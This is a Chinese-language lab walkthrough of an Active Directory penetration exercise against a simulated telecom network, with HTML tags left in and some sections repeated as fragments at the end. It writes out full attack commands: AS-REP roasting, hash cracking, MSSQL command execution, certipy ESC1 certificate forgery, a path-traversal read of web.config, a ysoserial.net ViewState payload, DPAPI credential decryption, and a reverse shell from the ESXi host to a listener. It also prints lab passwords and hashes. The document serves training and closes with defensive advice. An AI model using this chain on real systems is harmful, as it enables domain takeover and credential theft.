域渗透靶场实战教学文档<\/h1>

一、靶场环境概述<\/h2>

1.1 环境架构<\/h3>

本靶场模拟大型电信公司真实内网环境，包含以下核心资产：<\/p>

域控制器 (DC)<\/strong>：10.5.2.2 (DC01.telecore.ad) - AD域核心认证中心<\/li>
证书服务器 (CA)<\/strong>：10.5.2.8 (PKI-SRV.telecore.ad) - 负责域内公钥基础设施<\/li>
Web服务器<\/strong>：10.5.2.10 (WEB-SRV.Web-Srv) - 运行IIS服务<\/li>
邮件服务器<\/strong>：10.5.2.16 (EX-SRV.telecore.ad) - Microsoft Exchange系统<\/li>
数据库服务器<\/strong>：10.5.2.22 (SQL-SRV.telecore.ad) - SQL Server 2022<\/li>
Linux服务器<\/strong>：10.5.2.50 (LINUX.LINUX) - 运行Postfix与Samba<\/li>

虚拟化平台<\/strong>：10.5.2.111 (ESXi-VD.telecore.ad) - VMware ESXi 6.7<\/li> <\/ul>
1.2 攻击路径总览<\/h3>
本次渗透展示两条主要攻击路径：<\/p>

路径一<\/strong>：通过MSSQL提权→AD CS漏洞利用→获取域管权限<\/li>
路径二<\/strong>：通过Web反序列化→DPAPI凭据解密→AD CS漏洞利用→获取域管权限<\/li> <\/ul>
二、信息收集与资产发现<\/h2>
2.1 传统端口扫描<\/h3>
nmap 10.5.2.10\/24 -sV -sC -oA save --min-rate 10000<\/span> <\/span><\/span><\/code><\/pre>关键发现：识别Windows域环境资产，包括RPC、SMB等服务。<\/p> 2.2 DNS隐蔽资产发现<\/h3> DNS服务定位<\/strong>：<\/p> nmap -sU -p 53<\/span> 10.5.2.2\/24 <\/span><\/span><\/code><\/pre>PTR反向解析自动化<\/strong>：<\/p> for<\/span> i in {<\/span>1..254}<\/span>; do<\/span> <\/span><\/span> result=<\/span>$(<\/span>dig @10.5.2.99 +short -x 10.5.2.$i 2>\/dev\/null)<\/span> <\/span><\/span> [<\/span> -n "<\/span>$result"<\/span> ]<\/span> &&<\/span> echo "10.5.2.<\/span>$i -> <\/span>$result"<\/span> | tee -a 10.5.2.ptrs.txt <\/span><\/span>done<\/span> <\/span><\/span><\/code><\/pre>DNS区域传输漏洞利用<\/strong>：<\/p> dig @10.5.2.99 telecore.ad AXFR <\/span><\/span><\/code><\/pre>成功获取完整域解析清单，直接暴露内网拓扑。<\/p> 2.3 自动化主机名解析<\/h3> 使用nxc工具自动生成hosts文件：<\/p> nxc smb alive --generate-hosts-file hostname <\/span><\/span>cat hostname | sudo tee -a \/etc\/hosts <\/span><\/span><\/code><\/pre>三、初始访问与凭据获取<\/h2> 3.1 AD域匿名枚举<\/h3> nxc ldap 10.5.2.2 --users-export users.txt <\/span><\/span><\/code><\/pre>获取域内用户列表，为后续攻击提供字典。<\/p> 3.2 AS-REP Roasting攻击<\/h3> 检测配置了"不需要Kerberos预认证"的用户：<\/p> impacket-GetNPUsers telecore.ad\/ -usersfile users.txt -request -dc-ip 10.5.2.2 -no-pass <\/span><\/span><\/code><\/pre>发现用户tel_support01存在此配置缺陷。<\/p> 离线爆破<\/strong>：<\/p> hashcat -a 0<\/span> hash \/usr\/share\/wordlists\/rockyou.txt -m 1000<\/span> <\/span><\/span><\/code><\/pre>成功还原明文凭据：tel_support01 \/ #T3l3phon3!<\/p> 四、攻击路径一详解<\/h2> 4.1 MSSQL权限验证与利用<\/h3> 权限验证<\/strong>：<\/p> nxc mssql 10.5.2.22 -u tel_support01 -p '#T3l3phon3!'<\/span> -M mssql_priv <\/span><\/span>nxc mssql 10.5.2.22 -u tel_support01 -p '#T3l3phon3!'<\/span> -x whoami <\/span><\/span><\/code><\/pre>命令执行上线<\/strong>：<\/p> nxc mssql 10.5.2.22 -u tel_support01 -p '#T3l3phon3!'<\/span> -x "<\/span>$(<\/span>cat payload.txt)<\/span>"<\/span> <\/span><\/span><\/code><\/pre>4.2 权限提升<\/h3> 检查当前权限上下文，发现具备SeImpersonatePrivilege特权。<\/p> 尝试PrintSpoofer提权<\/strong>：失败改用GodPotato提权<\/strong>：成功获取SYSTEM权限<\/p> 4.3 AD CS证书服务漏洞利用(ESC1)<\/h3> 漏洞扫描<\/strong>：<\/p> certipy-ad find -u tel_engineer01 -hashes e2b1996aaff0f57bccb916265a77970e -dc-ip 10.5.2.2 -stdout -vulnerable <\/span><\/span><\/code><\/pre>漏洞成因分析<\/strong>：<\/p> Enrollee Supplies Subject = True：允许请求者自定义使用者名称<\/li> Client Authentication = True：证书可用于域内身份认证<\/li> Enrollment Rights：Domain Users拥有申请权限<\/li> <\/ul> 利用过程<\/strong>：<\/p> 申请伪造的管理员证书：<\/li> <\/ol> certipy-ad req -u 'tel_engineer01@telecore.ad'<\/span> -hashes :e2b1996aaff0f57bccb916265a77970e -target 10.5.2.8 -ca 'telecore-PKI-SRV-CA'<\/span> -template 'Tel_User'<\/span> -upn 'administrator@telecore.ad'<\/span> -sid 'S-1-5-21-1588247407-410625039-1511794522-500'<\/span> <\/span><\/span><\/code><\/pre> 利用证书换取域管Hash：<\/li> <\/ol> certipy-ad auth -pfx administrator.pfx -dc-ip 10.5.2.2 <\/span><\/span><\/code><\/pre>成功获取域管理员NT Hash。<\/p> 五、后渗透信息收集<\/h2> 5.1 哈希提取与破解<\/h3> 使用Cobalt Strike的hashdump命令导出内存凭据，尝试爆破域管理员hash：<\/p> hashcat -a 0<\/span> hash \/usr\/share\/wordlists\/rockyou.txt -m 1000<\/span> <\/span><\/span><\/code><\/pre>成功破解域管明文凭据：August1990password<\/p> 5.2 敏感信息收集<\/h3> 使用nxc的recent_files模块提取最近修改的文件：<\/p> nxc smb 10.5.2.2 -u administrator -p 'August1990password'<\/span> -M recent_files <\/span><\/span><\/code><\/pre>发现关键脚本文件：impersonate.ps1，其中包含：<\/p> Exchange服务器连接信息<\/li> 服务账号tel_ops1的明文密码：T3l@Net#2<\/li> <\/ul> 六、横向移动：ESXi虚拟化平台<\/h2> 6.1 SSH登录ESXi<\/h3> 发现域管理员存在于ESX Admins组，可使用域管凭据通过SSH登录。<\/p> 6.2 vim-cmd信息收集<\/h3> 基础枚举命令<\/strong>：<\/p> vim-cmd vmsvc\/getallvms <\/span><\/span><\/code><\/pre>关键发现：VaultVM虚拟机的注释中包含凭据linux \/ VaultAdmin@123<\/p> 常用操作指令<\/strong>：<\/p> 获取VM状态：vim-cmd vmsvc\/power.getstate [Vmid]<\/code><\/li> 开机\/关机：vim-cmd vmsvc\/power.on\/off [Vmid]<\/code><\/li> 获取详细配置：vim-cmd vmsvc\/get.config [Vmid]<\/code><\/li> <\/ul> 6.3 pyVim交互利用<\/h3> 枚举虚拟机信息<\/strong>：<\/p> python vm-<\/span>list.<\/span>py -<\/span>H 10.5.2.111<\/span> -<\/span>u administrator -<\/span>p August1990password <\/span><\/span><\/code><\/pre>反弹shell上线<\/strong>：<\/p> python getshell.<\/span>py -<\/span>H 10.5.2.111<\/span> -<\/span>u administrator -<\/span>p August1990password -<\/span>vm VaultVM -<\/span>l 10.10.20.98<\/span> -<\/span>P 4444<\/span> -<\/span>gu linux -<\/span>gp VaultAdmin@<\/span>123<\/span> <\/span><\/span><\/code><\/pre>七、攻击路径二详解<\/h2> 7.1 Web任意文件读取漏洞<\/h3> 漏洞验证<\/strong>：<\/p> http:\/\/10.5.2.10\/network-reports.aspx?report=..\/..\/..\/..\/..\/..\/windows\/win.ini <\/code><\/pre> 读取web.config<\/strong>：<\/p> http:\/\/10.5.2.10\/network-reports.aspx?report=web.config <\/code><\/pre> 成功获取MachineKey和验证httpRuntime配置存在路径遍历漏洞。<\/p> 7.2 ViewState反序列化RCE<\/h3> 攻击原理<\/strong>： ASP.NET使用__VIEWSTATE隐藏字段传递页面状态，掌握MachineKey后可构造恶意序列化数据包。<\/p> Payload构造<\/strong>：使用ysoserial.net工具生成反序列化payload：<\/p> .\y<\/span>soserial.exe -p ViewState -g TextFormattingRunProperties --generator=<\/span>CA0B0334 --validationalg=<\/span>"SHA1"<\/span> --validationkey=<\/span>"[MachineKey]"<\/span> -c "cmd \/c powershell [base64_encoded_payload]"<\/span> <\/span><\/span><\/code><\/pre>执行过程<\/strong>：通过POST请求提交伪造的__VIEWSTATE，成功获得Web服务器初始权限。<\/p> 7.3 DPAPI注册表凭据解密<\/h3> 手动查询注册表<\/strong>：<\/p> reg query HKEY_LOCAL_MACHINE\SOFTWARE\TelecomApp <\/span><\/span><\/code><\/pre>发现加密的凭据存储。<\/p> PowerShell解密<\/strong>：<\/p> Get-ItemProperty "HKLM:\SOFTWARE\TelecomApp"<\/span> | ForEach-Object { <\/span><\/span> $_.PSObject.Properties | Where-Object { $_.Value -match<\/span> '^AQAAAN'<\/span> } | <\/span><\/span> ForEach-Object { <\/span><\/span> Write-Host "<\/span>$($_.Name):"<\/span> -NoNewline; <\/span><\/span> [System.Text.Encoding]<\/span>::ASCII.GetString([System.Security.Cryptography.ProtectedData]<\/span>::Unprotect([System.Convert]<\/span>::FromBase64String($_.Value), $null, 'LocalMachine'<\/span>)) <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>成功解密获得凭据：tel_admin01@telecore.ad \/ T3l@Com#1<\/p> 7.4 AD CS漏洞利用(同路径一)<\/h3> 使用获取的tel_admin01凭据再次利用ESC1漏洞获取域管权限。<\/p> 八、Exchange邮件系统渗透<\/h2> 8.1 邮件委派利用<\/h3> 使用tel_ops1账号通过ApplicationImpersonation权限模拟访问管理员邮箱。<\/p> Python脚本实现<\/strong>：<\/p> from<\/span> exchangelib import<\/span> Credentials, Account, Configuration, IMPERSONATION <\/span><\/span> <\/span><\/span>def<\/span> extract_mailbox_items<\/span>(user, password, exchange_server, target_mailboxes): <\/span><\/span> # 实现邮箱内容提取逻辑<\/span> <\/span><\/span> pass<\/span> <\/span><\/span><\/code><\/pre>8.2 敏感信息提取结果<\/h3> 从管理员邮箱中提取到大量敏感信息：<\/p> 生产数据库凭据<\/li> 核心路由器管理密码<\/li> VPN访问凭证<\/li> FTP服务器信息<\/li> <\/ul> 九、防御建议与总结<\/h2> 9.1 关键安全漏洞<\/h3> DNS区域传输漏洞<\/strong>：配置不当导致内网拓扑泄露<\/li> AS-REP Roasting<\/strong>：用户预认证配置缺陷<\/li> AD CS ESC1漏洞<\/strong>：证书模板配置错误<\/li> Web反序列化<\/strong>：ViewState保护机制失效<\/li> DPAPI滥用<\/strong>：注册表中存储加密凭据<\/li> Exchange权限委派<\/strong>：ApplicationImpersonation权限过宽<\/li> <\/ol> 9.2 防护措施<\/h3> 限制DNS区域传输权限<\/li> 禁用不必要的Kerberos预认证<\/li> 严格配置证书模板权限<\/li> 加强MachineKey保护<\/li> 避免在注册表中存储敏感凭据<\/li> 最小化Exchange委派权限<\/li> <\/ol> 9.3 技术要点总结<\/h3> 本次渗透实战展示了从信息收集到域控拿下的完整攻击链，重点突出了：<\/p> 多路径攻击的灵活性<\/li> 证书服务漏洞的严重性<\/li> 横向移动的技巧性<\/li> 后渗透信息收集的重要性<\/li> <\/ul> 通过系统学习本教学文档，可以全面掌握企业内网渗透的核心技术和防御方法。<\/p>

域渗透靶场实战教学文档<\/h1>

一、靶场环境概述<\/h2>

二、信息收集与资产发现<\/h2>

三、初始访问与凭据获取<\/h2>

四、攻击路径一详解<\/h2>

4.2 权限提升<\/h3> 检查当前权限上下文，发现具备SeImpersonatePrivilege特权。<\/p> 尝试PrintSpoofer提权<\/strong>：失败 改用GodPotato提权<\/strong>：成功获取SYSTEM权限<\/p>

五、后渗透信息收集<\/h2>

六、横向移动：ESXi虚拟化平台<\/h2>

6.1 SSH登录ESXi<\/h3> 发现域管理员存在于ESX Admins组，可使用域管凭据通过SSH登录。<\/p>

七、攻击路径二详解<\/h2>

7.4 AD CS漏洞利用(同路径一)<\/h3> 使用获取的tel_admin01凭据再次利用ESC1漏洞获取域管权限。<\/p>

八、Exchange邮件系统渗透<\/h2>

九、防御建议与总结<\/h2>

4.2 权限提升<\/h3>
检查当前权限上下文，发现具备SeImpersonatePrivilege特权。<\/p>
尝试PrintSpoofer提权<\/strong>：失败
改用GodPotato提权<\/strong>：成功获取SYSTEM权限<\/p>

6.1 SSH登录ESXi<\/h3>
发现域管理员存在于ESX Admins组，可使用域管凭据通过SSH登录。<\/p>

7.4 AD CS漏洞利用(同路径一)<\/h3>
使用获取的tel_admin01凭据再次利用ESC1漏洞获取域管权限。<\/p>